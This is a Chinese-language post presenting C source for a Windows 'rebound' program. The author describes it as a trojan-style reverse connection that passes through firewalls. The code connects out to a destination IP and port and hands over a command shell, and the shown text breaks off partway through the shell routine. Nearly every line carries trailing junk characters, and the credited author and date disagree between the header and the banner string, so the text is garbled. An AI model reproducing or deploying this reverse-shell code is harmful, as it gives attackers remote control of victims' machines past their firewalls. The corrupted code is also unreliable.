这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 =:rg1wo"c
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/* ============================== SAP/jD$5]>
Rebound port in Windows NT a=2.Y?
By wind,2006/7 Vk{;g
===============================*/ zYzV!s2^
#include P j
#include C|ZPnm>f30
R U)(|;
#pragma comment(lib,"wsock32.lib") wn"}<ka
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void OutputShell(); nCY kUDnZ
SOCKET sClient; C8m 9H8Qm
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; b,'O|s]"Sc
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void main(int argc,char **argv) 9q'&tU'a=c
{ (=j;rfvP
WSADATA stWsaData; ?i _ACKpw
int nRet; sF{~7IB
SOCKADDR_IN stSaiClient,stSaiServer; A3eCI
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if(argc != 3) #RlZxtx.O
{ :a }](Wn
printf("Useage:\n\rRebound DestIP DestPort\n"); T.da!!'B
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return; v0DDim?cc
} /p
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WSAStartup(MAKEWORD(2,2),&stWsaData); '|[!I!WB`
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ~HmH#"VP
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stSaiClient.sin_family = AF_INET; *2h%dT:,%
stSaiClient.sin_port = htons(0); i<Z%
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); B|m)V9A%-
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) .OdtM
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{ 03~ ADj
printf("Bind Socket Failed!\n"); RqA>" [L
return; JLu$1A@ '
} rqjq}L )
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stSaiServer.sin_family = AF_INET; R/=rNUe
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Ll]5u~
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); CXq[VYM&X
4\n
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) >ai,6!
{
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printf("Connect Error!"); L$5,RUy
return; 6q^$}eOt
} FJ3S
OutputShell(); @1*^ttC
} 3L&:
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void OutputShell() 7( 84j5zb
{ W\l&wR
char szBuff[1024]; @;egnXxF<